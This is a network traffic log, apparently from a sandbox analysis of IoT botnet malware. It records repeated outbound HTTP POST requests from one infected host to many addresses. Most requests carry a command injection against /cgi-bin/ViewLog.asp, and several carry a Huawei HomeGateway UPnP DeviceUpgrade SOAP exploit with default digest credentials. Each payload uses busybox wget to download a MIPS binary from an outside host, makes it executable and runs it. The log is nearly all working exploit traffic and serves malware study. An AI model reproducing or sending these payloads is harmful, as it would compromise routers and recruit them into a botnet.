Nov 23, 2023 05:16:02.854574919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:07.462706089 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:16.422527075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:35.878467083 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.742415905 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	59310	62.31.226.130	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:58.932857037 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:59.146509886 CET	207	IN	HTTP/1.0 401 Not Authorized WWW-Authenticate: Basic realm="Your friendly DynDNS server" Content-Type: text/plain Data Raw: 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 Data Ascii: Authentication required

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	59578	94.122.214.108	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:58.956996918 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	52028	94.238.154.39	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:59.684134960 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	46654	31.193.176.67	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:59.684237003 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	50806	156.241.94.212	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:00.277540922 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:02.246624947 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:04.646733046 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:09.510603905 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:18.982491970 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:37.926465034 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
